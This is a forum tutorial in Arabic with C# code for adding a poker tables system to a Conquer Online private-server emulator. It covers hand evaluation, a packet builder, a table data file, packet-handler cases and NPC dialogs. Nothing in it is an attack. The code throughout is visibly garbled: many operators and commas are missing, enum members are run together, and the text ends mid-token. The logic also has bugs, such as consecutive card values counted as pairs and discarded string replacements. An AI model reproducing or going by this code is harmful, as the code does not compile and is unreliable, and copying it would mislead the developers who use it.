V.Contains("678")) V.Replace("678""");
            else if (
V.Contains("567")) V.Replace("567""");
            else if (
V.Contains("456")) V.Replace("456""");
            else if (
V.Contains("345")) V.Replace("345""");
            else if (
V.Contains("234")) V.Replace("234""");
            else if (
V.Contains("123")) V.Replace("123""");
            else if (
V.Contains("012")) V.Replace("012""");
            
Pl.HandVals V;
            return 
Yes;
        }
        public 
bool IsPair(PokerPlayer Pl)
        {
            
bool Yes false;
            
string V Pl.HandVals;
            if (
V.Contains("01") || V.Contains("12") || V.Contains("23")) Yes true;
            else if (
V.Contains("34") || V.Contains("45") || V.Contains("56")) Yes true;
            else if (
V.Contains("67") || V.Contains("78") || V.Contains("89")) Yes true;
            else if (
V.Contains("9A") || V.Contains("AB") || V.Contains("BC")) Yes true;
            else if (
V.Contains("C0")) Yes true;
            else if (
V.Contains("00") || V.Contains("11") || V.Contains("22")) Yes true;
            else if (
V.Contains("33") || V.Contains("44") || V.Contains("55")) Yes true;
            else if (
V.Contains("66") || V.Contains("77") || V.Contains("88")) Yes true;
            else if (
V.Contains("99") || V.Contains("AA") || V.Contains("BB")) Yes true;
            else if (
V.Contains("CC")) Yes true;
            if (
V.Contains("CC")) V.Replace("CC""");
            else if (
V.Contains("BB")) V.Replace("BB""");
            else if (
V.Contains("AA")) V.Replace("AA""");
            else if (
V.Contains("99")) V.Replace("99""");
            else if (
V.Contains("88")) V.Replace("88""");
            else if (
V.Contains("77")) V.Replace("77""");
            else if (
V.Contains("66")) V.Replace("66""");
            else if (
V.Contains("55")) V.Replace("55""");
            else if (
V.Contains("44")) V.Replace("44""");
            else if (
V.Contains("33")) V.Replace("33""");
            else if (
V.Contains("22")) V.Replace("22""");
            else if (
V.Contains("11")) V.Replace("11""");
            else if (
V.Contains("00")) V.Replace("00""");
            else if (
V.Contains("BC")) V.Replace("BC""");
            else if (
V.Contains("AB")) V.Replace("AB""");
            else if (
V.Contains("C0")) V.Replace("C0""");
            else if (
V.Contains("9A")) V.Replace("9A""");
            else if (
V.Contains("89")) V.Replace("89""");
            else if (
V.Contains("78")) V.Replace("78""");
            else if (
V.Contains("67")) V.Replace("67""");
            else if (
V.Contains("56")) V.Replace("56""");
            else if (
V.Contains("45")) V.Replace("45""");
            else if (
V.Contains("34")) V.Replace("34""");
            else if (
V.Contains("23")) V.Replace("23""");
            else if (
V.Contains("12")) V.Replace("12""");
            else if (
V.Contains("01")) V.Replace("01""");
            
Pl.HandVals V;
            return 
Yes;
        }
    }
    public class 
PokerPlayer
    
{
        public 
uint TableId 0;
        public 
uint PlayerId 0;
        public 
bool Connected true;
        public 
byte CurrentState 1;
        public 
byte RoundState 0;
        public 
uint Bet 0;
        public 
byte Seat 0;
        public 
byte CardsPower 0;
        public 
string HandVals "";
        public 
System.Timers.Timer MoveTimer = new System.Timers.Timer();
        public 
ushort GetFullPower(Dictionary<bytePokerCardTCards)
        {
            
ushort P 0;
            foreach (
PokerCard C in MyCards.Values)
            {
                
+= (ushort)(C.Id);
            }
            return 
P;
        }
        public 
Dictionary<bytePokerCardMyCards = new Dictionary<bytePokerCard>(5);
        public 
Entity MyChar
        
{
            
get
            
{
                if (
Kernel.GamePool.ContainsKey(PlayerId))
                    return 
Kernel.GamePool[PlayerId].Entity;
                else { 
Connected false; return null; }
            }
            
set
            
{
                
PlayerId value.UID;
            }
        }
        public 
PokerTable MyTable
        
{
            
get
            
{
                if (
Kernel.PokerTables.ContainsKey(TableId)) return Kernel.PokerTables[TableId];
                else return 
null;
            }
            
set
            
{
                
TableId value.Id;
            }
        }

        public 
void Send(byte[] P)
        {
            if (!
Connected)
            {
                if (
Kernel.PokerTables.ContainsKey(TableId))
                {
                    if (
Kernel.PokerTables[TableId].Players.ContainsKey(PlayerId))
                        
Kernel.PokerTables[TableId].Players[PlayerId].RoundState 4;
                    return;
                }
            }
            if (
Kernel.GamePool.ContainsKey(PlayerId))
                
Kernel.GamePool[PlayerId].Send(P);
            else
            {
                
Connected false;
                if (
Kernel.PokerTables.ContainsKey(TableId))
                {
                    if (
Kernel.PokerTables[TableId].Players.ContainsKey(PlayerId))
                        
Kernel.PokerTables[TableId].Players[PlayerId].RoundState 4;
                }
            }
        }
    }
    public class 
PokerCard
    
{
        public 
byte Id 0;
        public 
uint PlayerId;
        public 
byte Val 0;
        public 
PokerCardsType Typ PokerCardsType.Clubs;

    }

    public 
enum PokerTableState byte
    
{
        
//table state   0=unopened  1=Pocket  2=flop 3=turn 4=river 5=showdown 
        
UnOpened 0,
        
Pocket 1,
        
Flop 2,
        
Turn 3,
        
River 4,
        
ShowDown 5
    
}
    public 
enum PokerJoinTableType byte
    
{
        
Join 0,
        
Leave 1,
        
Watching 2
    
}
    public 
enum PokerCardsType byte
    
{
        
Hearts 0,
        
Spades 1,
        
Clubs 2,
        
Diamonds 3
    
}
    public 
enum PokerCardsValue byte
    
{
        
TWOTHREEFOURFIVESIXSEVENEIGHTNINETENJACKQUEENKINGACE
    
}
    public 
enum PokerHandPower byte
    
{
        
RoyalFlush 10,//AKQJ10 of one suit 
        
StraightFlush 9,//five cards in sequence, all the same suit 
        
FourOfAKind 8,//four cards of the same rank (plus any fifth card) 
        
FullHouse 7,//three cards of one rank, plus a pair of another rank 
        
Flush 6,//five cards of the same suit 
        
Straight 5,//1-5 
        
ThreeOfAKind 4,// three cards of the same rank, plus two other unmatched cards 
        
TwoPairs 3,//two cards of the same rank, plus two other cards of a different rank, plus one unmatched card 
        
Pair 2,//two cards of the same rank, plus three other unmatched cards 
        
Nothing // any hand not meeting the requirements of a pair or higher hand 
    
}
    public 
enum PokerCallTypes byte
    
{
        
Bet 1,
        
Call 2,
        
Fold 4,
        
Check 8,
        
Rise 16,
        
AllIn 32,
        
CallFold 6,
        
CheckFold 12,
        
RiseCall 18,
        
RiseFold 20,
        
RiseCallFold 22,
        
RiseCheck 24,
        
AllInCall 34,
        
AllInFold 36,
        
AllInCallFold 38,
    }

    public class 
PacketBuilder
    
{
        protected 
byte[] _buffer = new byte[1024];
        protected 
int Position 0;
        protected 
int Len 0;
        protected 
byte[] TQ_SERVER Program.Encoding.GetBytes("TQServer");
        public 
int GetPos()
        {
            return 
Position;
        }
        public 
void SetPosition(int Pos)
        {
            
Position Pos;
        }
        public 
PacketBuilder(int Tint L)
        {
            
Len L;
            
Length(L);
            
Type(T);
        }

        public 
void Short(int value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)((value >> 8) & 0xff));
            
Position++;
        }
        public 
void Short(uint value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)((value >> 8) & 0xff));
            
Position++;
        }
        public 
void Length(int value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)((value >> 8) & 0xff));
            
Position++;
        }
        public 
void Type(int value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)((value >> 8) & 0xff));
            
Position++;
        }
        public 
void Long(int value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)(value >> 0xff));
            
Position++;
            
_buffer[Position] = (byte)(value >> 16 0xff);
            
Position++;
            
_buffer[Position] = ((byte)(value >> 24 0xff));
            
Position++;
        }
        public 
void Long(ulong value)
        {
            
_buffer[Position] = ((byte)((ulong)value 0xffL));
            
Position++;
            
_buffer[Position] = ((byte)(value >> 0xff));
            
Position++;
            
_buffer[Position] = (byte)(value >> 16 0xff);
            
Position++;
            
_buffer[Position] = ((byte)(value >> 24 0xff));
            
Position++;
        }
        public 
void ULong(ulong value)
        {
            
_buffer[Position] = (byte)(value);
            
Position++;
            
_buffer[Position] = (byte)(value >> 8);
            
Position++;
            
_buffer[Position] = (byte)(value >> 16);
            
Position++;
            
_buffer[Position] = (byte)(value >> 24);
            
Position++;
            
_buffer[Position] = (byte)(value >> 32);
            
Position++;
            
_buffer[Position] = (byte)(value >> 40);
            
Position++;
            
_buffer[Position] = (byte)(value >> 48);
            
Position++;
            
_buffer[Position] = (byte)(value >> 56);
            
Position++;
        }
        public 
void Int(int value)
        {
            
_buffer[Position] = (Convert.ToByte(value 0xff));
            
Position++;
        }
        public 
void Int(uint value)
        {
            
_buffer[Position] = (Convert.ToByte(value 0xff));
            
Position++;
        }
        public 
void Long(uint value)
        {
            
_buffer[Position] = ((byte)(value 0xff));
            
Position++;
            
_buffer[Position] = ((byte)(value >> 0xff));
            
Position++;
            
_buffer[Position] = (byte)(value >> 16 0xff);
            
Position++;
            
_buffer[Position] = ((byte)(value >> 24 0xff));
            
Position++;
        }
        public 
void Move(int value)
        {
            for (
int x 0valuex++)
            {
                
_buffer[Position] = 0;
                
Position++;
            }
        }

        public 
void Text(string value)
        {
            
byte[] nvalue Program.Encoding.GetBytes(value);
            Array.
Copy(nvalue0_bufferPositionnvalue.Length);
            
Position += nvalue.Length;
        }
        protected 
void Seal()
        {
            Array.
Copy(TQ_SERVER0_bufferPositionTQ_SERVER.Length);
            
Position += TQ_SERVER.Length 1;
            
byte[] = new byte[Position 1];
            Array.
Copy(_bufferxPosition 1);
            
_buffer = new byte[x.Length];
            Array.
Copy(x_bufferx.Length);
            
null;
        }
        public 
byte[] getFinal()
        {
            
Seal();
            return 
_buffer;
        }

        
internal void Fill(int End)
        {
            for (
int x PositionEndx++)
                
Int(0);
        }
        
internal void PrintThis()
        {
            
string Dat "";
            for (
int x 0Positionx++)
                
Dat += _buffer[x].ToString("X") + " ";
            
Console.WriteLine(Dat);
        }

        
#region Add from offset
        
public void Short(int valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
_buffer[Offset 1] = ((byte)((value >> 8) & 0xff));
        }
        public 
void Short(uint valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
Offset++;
            
_buffer[Offset] = ((byte)((value >> 8) & 0xff));
        }
        public 
void Length(int valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
Offset++;
            
_buffer[Offset] = ((byte)((value >> 8) & 0xff));
        }
        public 
void Type(int valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
Offset++;
            
_buffer[Offset] = ((byte)((value >> 8) & 0xff));
        }
        public 
void Long(int valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 0xff));
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 16 0xff);
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 24 0xff));
        }
        public 
void Long(ulong valueint Offset)
        {
            
_buffer[Offset] = ((byte)((ulong)value 0xffL));
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 0xff));
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 16 0xff);
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 24 0xff));
        }
        public 
void ULong(ulong valueint Offset)
        {
            
_buffer[Offset] = (byte)(value);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 8);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 16);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 24);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 32);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 40);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 48);
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 56);
        }
        public 
void Int(int valueint Offset)
        {
            
_buffer[Offset] = (Convert.ToByte(value 0xff));
            
Offset++;
        }
        public 
void Int(uint valueint Offset)
        {
            
_buffer[Offset] = (Convert.ToByte(value 0xff));
            
Offset++;
        }
        public 
void Long(uint valueint Offset)
        {
            
_buffer[Offset] = ((byte)(value 0xff));
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 0xff));
            
Offset++;
            
_buffer[Offset] = (byte)(value >> 16 0xff);
            
Offset++;
            
_buffer[Offset] = ((byte)(value >> 24 0xff));
            
Offset++;
        }
        
#endregion
    
}




في فولدر Database

هتعمل كلاس جديد بأسم PoketTables

وارمي فيه دول .. لو انت جديد متفضحناش وامسح اللي في الكلاس قبل مترمي فيه أكواد

Html

// * Created by Senior Mido 
// * Copyright © 2010-2015 
// * XScape - Project 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace 
Phoenix_Project.Database
{
    public 
unsafe class PoketTables
    
{
        public static 
void LoadTables()
        {
            
string[] TDs System.IO.File.ReadAllLines("PokerTables.txt");
            foreach (
string Tinfo in TDs)
            {
                
//T.Id + " " + T.BetType + " " + T.Map + " " + T.Nomber + " " + T.X + " " + T.Y; 
                
string[] DR Tinfo.Split(' ');
                
Game.PokerTable T = new Game.PokerTable();
                
T.Id Convert.ToUInt32(DR[0]);
                
T.Nomber = (byte)Convert.ToInt16(DR[3]);
                
T.BetType = (byte)Convert.ToUInt32(DR[1]);
                
T.= (ushort)Convert.ToUInt32(DR[4]);
                
T.= (ushort)Convert.ToUInt32(DR[5]);
                
bool FoundMinBet false;
                try
                {
                    
T.MinLimit = (ushort)Convert.ToUInt32(DR[6]); FoundMinBet true;
                }
                catch { }
//Mr.keka Abdo Matrix 
                
T.Map Convert.ToUInt32(DR[2]);
                if (!
FoundMinBet)
                {
                    if (
T.Nomber 19)
                    {
                        
T.MinLimit 10000;
                        
T.FreeBet false;
                    }
                    if (
T.Nomber 25T.MinLimit 5000;
                    if (
T.Nomber 30T.MinLimit 2000;
                    if (
T.Nomber 35T.MinLimit 1000;
                }
                if (!
Phoenix_Project.Kernel.PokerTables.ContainsKey(T.Id))
                    
Phoenix_Project.Kernel.PokerTables.Add(T.IdT);
            }
            
Console.WriteLine("Loaded " Phoenix_Project.Kernel.PokerTables.Count " Poker Tables Loaded");
            
System.Console.Write("\b{0}"Phoenix_Project.Loading.NextChar());
            
System.Console.WriteLine("Done!");
        }
    }



وهتفتح السورس في المسار دا Bin\Debug

هتعملي ملف تكست جديد وهتسميه PokerTables يعني يكون بالامتداد دا PokerTables.txt

واحدف دول فيه وسيف

Html

101907 0 8880 0 85 81 
101909 0 8880 1 85 97
101911 0 8880 2 85 113
101913 0 8880 3 85 129
101915 0 8880 4 85 145
101917 0 8880 5 85 161
101919 0 8880 6 101 81
101921 0 8880 7 101 97
101923 0 8880 8 101 113
101925 0 8880 9 101 129
101927 0 8880 10 101 145
101929 0 8880 11 101 161
101931 0 8880 12 117 81
101933 0 8880 13 117 97
101935 0 8880 14 117 113
101937 0 8880 15 117 129
101939 0 8880 16 117 145
101941 0 8880 17 117 161
101943 0 8880 18 133 81
101945 0 8880 19 133 97
101949 0 8880 20 133 113
101951 0 8880 21 133 129
101953 0 8880 22 133 145
101955 0 8880 23 133 161
101957 0 8880 24 149 81
101959 0 8880 25 149 97
101961 0 8880 26 149 113
101963 0 8880 27 149 129
101965 0 8880 28 149 145
101967 0 8880 29 149 161
101969 1 8881 30 60 68 1000
101971 1 8881 31 60 84 1000
101973 1 8881 32 60 100 1000
101975 1 8881 33 60 116 500
101977 1 8881 34 76 68 500
101979 1 8881 35 76 84 500
101981 1 8881 36 76 100 100
101983 1 8881 37 76 116 100
101985 1 8881 38 92 68 100
101987 1 8881 39 92 84 500
101989 1 8881 40 92 100 500
101991 1 8881 41 92 116 500
101993 1 8881 42 108 68 300
101995 1 8881 43 108 84 300
101997 1 8881 44 108 100 300
101999 1 8881 45 108 116 200
101101 1 8881 46 124 68 200
101103 1 8881 47 124 84 100
101105 1 8881 48 124 100 100 


بعد كدا حمل الملف دا

pokermap

وبعد ما تفك الضغط هيطلعلك ملفين

هيتحطوا في المسار دا

Html

Bin\Debug\database\maps 
كدا احنا خلصنا الاساسيات

تعالوا نعرف البروجيكت علي الأضافه

اول حاجه هتفتح كلاس Program

تحت اول قوس اللي هو

Html

class Program 
هتضيف الكود دا

Html

#region Poker
        
public static void easteregg(string text)
        {
            try
            {
                
String folderN DateTime.Now.Year "-" DateTime.Now.Month,
                        
Path "gmlogs\\PetApet\\",
                        
NewPath System.IO.Path.Combine(PathfolderN);
                if (!
File.Exists(NewPath folderN))
                {
                    
System.IO.Directory.CreateDirectory(System.IO.Path.Combine(PathfolderN));
                }
                if (!
File.Exists(NewPath "\\" DateTime.Now.Day ".txt"))
                {
                    
using (System.IO.FileStream fs System.IO.File.Create(NewPath "\\" DateTime.Now.Day ".txt"))
                    {
                        
fs.Close();
                    }
                }
                
using (System.IO.StreamWriter file = new System.IO.StreamWriter(NewPath "\\" DateTime.Now.Day ".txt"true))
                {
                    
file.WriteLine(text);
                    
file.Close();
                }
            }

            catch (
Exception ex) { Console.WriteLine(ex); }
        }
        public static 
void AddpokerAllinCps(string text)
        {
            try
            {
                
text "[" DateTime.Now.ToString("HH:mm:ss") + "]" text;
                
String folderN DateTime.Now.Year "-" DateTime.Now.Month,
                        
Path "gmlogs\\AddpokerAllinCps\\",
                        
NewPath System.IO.Path.Combine(PathfolderN);
                if (!
File.Exists(NewPath folderN))
                {
                    
System.IO.Directory.CreateDirectory(System.IO.Path.Combine(PathfolderN));
                }
                if (!
File.Exists(NewPath "\\" DateTime.Now.Day ".txt"))
                {
                    
using (System.IO.FileStream fs System.IO.File.Create(NewPath "\\" DateTime.Now.Day ".txt"))
                    {
                        
fs.Close();
                    }
                }
                
using (System.IO.StreamWriter file = new System.IO.StreamWriter(NewPath "\\" DateTime.Now.Day ".txt"true))
                {
                    
file.WriteLine(text);
                    
file.Close();
                }

            }
            catch (
Exception ex) { Console.WriteLine(ex); }
        }
        public static 
void AddpokerCps(string text)
        {
            try
            {
                
text "[" DateTime.Now.ToString("HH:mm:ss") + "]" text;
                
String folderN DateTime.Now.Year "-" DateTime.Now.Month,
                        
Path "gmlogs\\AddpokerCps\\",
                        
NewPath System.IO.Path.Combine(PathfolderN);
                if (!
File.Exists(NewPath folderN))
                {
                    
System.IO.Directory.CreateDirectory(System.IO.Path.Combine(PathfolderN));
                }
                if (!
File.Exists(NewPath "\\" DateTime.Now.Day ".txt"))
                {
                    
using (System.IO.FileStream fs System.IO.File.Create(NewPath "\\" DateTime.Now.Day ".txt"))
                    {
                        
fs.Close();
                    }
                }
                
using (System.IO.StreamWriter file = new System.IO.StreamWriter(NewPath "\\" DateTime.Now.Day ".txt"true))
                {
                    
file.WriteLine(text);
                    
file.Close();
                }

            }
            catch (
Exception ex) { Console.WriteLine(ex); }
        }
        
#endregion 


في ملف PacketHandler

هنضيف فوق أي region

Html

#region Poker
                
case 2099:
                case 
2090:
                case 
2093:
                case 
2096:
                case 
2171:
                    {
                        new 
Game.HandlePoker(packetclient);
                        break;
                    }
                     
#endregion
                #region Enlight (1127)
                
case 1127:
                    {
                        
Enlight enlight = new Enlight(false);
                        
enlight.Deserialize(packet);
                        if (
Kernel.GamePool.ContainsKey(enlight.Enlighted))
                        {
                            var 
Client Kernel.GamePool[enlight.Enlighted];

                            if (
enlight.Enlighter == client.Entity.UID && enlight.Enlighted != enlight.Enlighter)
                            {
                                if (
Client.Entity.ReceivedEnlightenPoints 5)
                                {
                                    if (
client.Entity.EnlightenPoints >= 100)
                                    {
                                        if (
Client.Entity.EnlightmentTime <= 80)
                                        {
                                            
client.Entity.EnlightenPoints -= 100;
                                            
Client.Entity.EnlightmentStamp Time64.Now;
                                            
Client.IncreaseExperience(Game.Attacking.Calculate.Percent((int)Client.ExpBall.10F), false);
                                            
Client.SendScreen(packettrue);
                                            
Client.Entity.ReceivedEnlightenPoints++;
                                            
Client.Entity.EnlightmentTime += 20;
                                            if (
client.Entity.EnlightmentTime 80)
                                                
client.Entity.EnlightmentTime 100;
                                            else if (
client.Entity.EnlightmentTime 60)
                                                
client.Entity.EnlightmentTime 80;
                                            else if (
client.Entity.EnlightmentTime 40)
                                                
client.Entity.EnlightmentTime 60;
                                            else if (
client.Entity.EnlightmentTime 20)
                                                
client.Entity.EnlightmentTime 40;
                                            else if (
client.Entity.EnlightmentTime 0)
                                                
client.Entity.EnlightmentTime 20;
                                        }
                                        else 
client.Send(new Message("You can't enlighten " Client.Entity.Name " yet because he has to wait a few minutes until he can be enlightened again."System.Drawing.Color.RedMessage.TopLeft));
                                    }
                                    else 
client.Send(new Message("You can't enlighten " Client.Entity.Name " because you don't have enough enlighten points!"System.Drawing.Color.RedMessage.TopLeft));
                                }
                                else 
client.Send(new Message("You can't enlighten " Client.Entity.Name " because he/she was enlightened today five times already!"System.Drawing.Color.RedMessage.TopLeft));
                            }
                        }
                        break;
                    }
                
#endregion 

في نفس الكلاس ابحث عن

Html

#region Trade (1056) 
بدلو بده

Html

#region Trade (1056)
                
case 1056:
                    {
                        if (
client.Action != 2)
                            return;
                        if (
client.Entity.PokerTable 0) break;
                        
Trade trade = new Trade(false);
                        
trade.Deserialize(packet);

                        
lock (client.ItemSyncRoot)
                        {
                            switch (
trade.Type)
                            {
                                case 
Trade.Request:
                                    
RequestTrade(tradeclient);
                                    break;
                                case 
Trade.Close:
                                    
CloseTrade(tradeclient);
                                    break;
                                case 
Trade.AddItem:
                                    
AddTradeItem(tradeclient);
                                    break;
                                case 
Trade.SetMoney:
                                    
SetTradeMoney(tradeclient);
                                    break;
                                case 
Trade.SetConquerPoints:
                                    
SetTradeConquerPoints(tradeclient);
                                    break;
                                case 
Trade.Accept:
                                    
AcceptTrade(tradeclient);
                                    break;
                            }
                        }
                        break;
                    }
                
#endregion 


افتح كلاس Enums.cs

وابحث عن

Html

public enum NpcType byte 
تحت

Html

Furniture 25
ضيف دول

Html

Poker 33,
            
Poker2 34,
            
Poker3 35,
            
Poker4 36,
            
Poker5 37,
            
Poker6 38
هتفتح GameClient or GameState

وابحث عن

Html

Warehouses.Add(Game.ConquerStructures.Warehouse.WarehouseID 

هتضيف تحته دي

Html

Warehouses.Add(Game.ConquerStructures.Warehouse.WarehouseID.Poker, new Game.ConquerStructures.Warehouse(thisGame.ConquerStructures.Warehouse.WarehouseID.Poker)); 
في نفس الكلاس هتبحث عن

Html

private void ShutDown() 
فوقه ضيف

Html

public void Disconnect(bool save true)
        {
            if (
Fake) return;
            if (
Screen != nullScreen.DisposeTimers();
            
PacketHandler.RemoveTPA(this);
            
Program.World.Unregister(this);
            if (
OnDisconnect != nullOnDisconnect(this);
            if (
_socket.Connector != null)
            {
                if (
Entity != null)
                {
                    if (
Entity.MyPokerTable != null)
                    {
                        if (
Entity.MyPokerTable.Players.ContainsKey(Entity.UID) && Entity.MyPokerTable.Pot 1)
                        {
                            
byte[] = new byte[10];
                            
P[6] = 4P[9] = 200;
                            
Entity.MyPokerTable.NewPlayerMove(PEntity.UID);
                        }
                        else
                            
Entity.MyPokerTable.RemovePlayer(Entity.UID);
                    }
                }
                
_socket.Disconnect();
                
ShutDown();
            }
        } 
لو لقيته موجود بدله

هتبحث في نفس الكلاس عن

Html

public Time64 
تحته ضيف

Html

#region poker
        
public Network.GamePackets.poker2090 poker2090;
        public 
Network.GamePackets.poker2091 poker2091;
        public 
Network.GamePackets.poker2092 poker2092;
        public 
Network.GamePackets.poker2093 poker2093;
        public 
Network.GamePackets.poker2094 poker2094;
        public 
Network.GamePackets.poker2095 poker2095;
        
#endregion 
هتفتح ملف Kernel.cs

تحت اي فويد هتضيف ده

Html

public static Dictionary<uintGame.PokerTablePokerTables = new Dictionary<uintGame.PokerTable>(50); 


هتفتح ملف Entity.cs

هتبحث عن

Html

public static string GetMapName 
فوق اي Case

ضيف

Html

case 0x742:
                    
mapName "PokerRoom";
                    break;

                case 
0x744:
                    
mapName "VIPPokerRoom";
                    break; 
هتبحث في نفس الكلاس عن

Html

public byte Stamina 
فوق ضيف

Html

public uint PokerTable 0;
        public 
PokerTable MyPokerTable
        
{
            
get
            
{
                if (
TwinX.Kernel.PokerTables.ContainsKey(PokerTable))
                    return 
TwinX.Kernel.PokerTables[PokerTable];
                else return 
null;
            }
            
set
            
{
                
PokerTable value.Id;
            }
        } 
هندخل علي Screen.cs

هتبحث عن

Html

foreach (IMapObject obj in client 
فوقه هنضيف


Html

if (client.Map.ID == 8880 || client.Map.ID == 8881)
            {
                
SafeDictionary<uintPokerTableToRem = new SafeDictionary<uintPokerTable>(40);
                foreach (
PokerTable T in PokerTables.Values)
                {
                    if (
client.Map.ID == T.Map)
                        if (
Kernel.GetDistance(T.XT.Yclient.Entity.Xclient.Entity.Y) > Constants.nScreenDistance)
                            
ToRem.Add(T.IdT);
                }
                foreach (
PokerTable T in ToRem.Values)
                    if (
PokerTables.ContainsKey(T.Id))
                        
PokerTables.Remove(T.Id);
            } 
هنبحث في نفس الكلاس عن

Html

public Interfaces
فوقه ضيف ده

Html

private static ConcurrentDictionary<uintPokerTablePokerTables
فوق دا

Html

public void DisposeTimers() 
او تحت ده

Html

private ConcurrentDictionary<uint 
هنضيف ده

Html

public Screen(Client.GameClient client)
        {
            
Owner client;
            
_objects = new Interfaces.IMapObject[0];
            
PokerTables = new ConcurrentDictionary<uintPokerTable>();
            
_objectDictionary = new ConcurrentDictionary<uintIMapObject>();
            
TimerSubscriptions = new IDisposable[] 
            {
                
MonsterBuffers.Add(client),
                
Guards.Add(client),
                
AliveMonsters.Add(client),
                
Items.Add(client)
            };
            
DisposalSyncRoot = new object();
        }
        ~
Screen()
        {
            
DisposeTimers();
            
Clear();
            
_objects null;
            
_objectDictionary null;
            
Owner null;
        } 
فوق الكود ده

Html

public void SendScreen(Interfaces.IPacket 

Html

if (Owner.Map.ID == 8880 || Owner.Map.ID == 8881)
                {
                    foreach (
Game.PokerTable T in Kernel.PokerTables.Values)
                    {
                        if (
T.Map == Owner.Map.ID)
                        {
                            if (
Kernel.GetDistance(T.XT.YOwner.Entity.XOwner.Entity.Y) <= Constants.nScreenDistance && !PokerTables.ContainsKey(T.Id))
                            {
                                
Owner.Send(Game.PokerPackets.PokerTable(T));
                                
PokerTables.Add(T.IdT);
                            }
                        }
                    }
                }
            }
            catch (
Exception e) { Program.SaveException(e); }
        } 
هتفتح ملف ItemUsage.cs
وهتبحث عن

Html

case ItemUsage.Mode.RemoveItemFromBooth
فوقه هتضيف ده

Html

case ItemUsage.Mode.BuyFromBooth:
                        {
                            if (!
client.Entity.TradeOn) return;
                            if (
client.Entity.PokerTable 0) break;
                            
lock (client.ItemSyncRoot)
                                
BuyFromBooth(usageclient);
                            break;
                        } 
هتبحث عن

Html

case ItemUsage.Mode.SellToNPC 
وهتضيف فوقه ده

Html

case ItemUsage.Mode.BuyFromNPC:
                        {
                            if (
client.Entity.PokerTable 0) break;
                            
lock (client.ItemSyncRoot)
                                
PacketHandler.HandleBuyFromNPC(usageclient);
                            break;
                        } 


هتفتح كلاس WareHouse

وهتبحث عن

Html

public enum WarehouseID 
هتدور فيه علي

Html

StoneCity 4101
لو ملقتهاش مش مهم ضيف فيه ده

Html

Poker 7762
وأخيرا انبسي الدخول

Html

#region Poker Gold
                    
case 8880:
                        {
                            switch (
client.ActiveNpc)
                            {
                                
#region Poker1
                                
case 269857:
                                    {
                                        switch (
npcRequest.OptionID)
                                        {
                                            case 
0:
                                                {
                                                    
dialog.Text("Greeting, I`m glad to be at your service. Win or lose is not that important. To win is not the ultimate aim of the game, happiness is what we have been pursuing. Here, I even more like to wish you a good health than a good luck!");
                                                    
dialog.Option("I~have~no~interest~in~it."1);
                                                    
dialog.Option("Enter~VIP~Hall."2);
                                                    
dialog.Option("I~still~want~to~play."255);
                                                    
dialog.Avatar(175);
                                                    
dialog.Send();
                                                    break;
                                                }
                                            case 
1:
                                                {
                                                    
client.Entity.Teleport(1002300278);
                                                    break;
                                                }
                                            case 
2:
                                                {
                                                    
client.Entity.Teleport(88815562);
                                                    
Entity.SendReload(client);
                                                    break;
                                                }
                                        }
                                        break;
                                    }
                                
#endregion
                            
}
                            break;
                        }
                    
#endregion
                    #region Poker Cps
                    
case 8881:
                        {
                            switch (
client.ActiveNpc)
                            {
                                
#region Poker2 [TRADUCIDO]
                                
case 369857:
                                    {
                                        switch (
npcRequest.OptionID)
                                        {
                                            case 
0:
                                                {
                                                    
dialog.Text("Greeting, I`m glad to be at your service. Win or lose is not that important. To win is not the ultimate aim of the game, happiness is what we have been pursuing. Here, I even more like to wish you a good health than a good luck!");
                                                    
dialog.Option("I~have~no~interest~in~it."1);
                                                    
dialog.Option("Enter~Poker~Room."2);
                                                    
dialog.Option("I~still~want~to~play."255);
                                                    
dialog.Avatar(175);
                                                    
dialog.Send();
                                                    break;
                                                }
                                            case 
1:
                                                {
                                                    
client.Entity.Teleport(1002300278);
                                                    break;
                                                }
                                            case 
2:
                                                {
                                                    
client.Entity.Teleport(88807975);
                                                    
Entity.SendReload(client);
                                                    break;
                                                }
                                        }
                                        break;
                                    }
                                
#endregion
        &nbs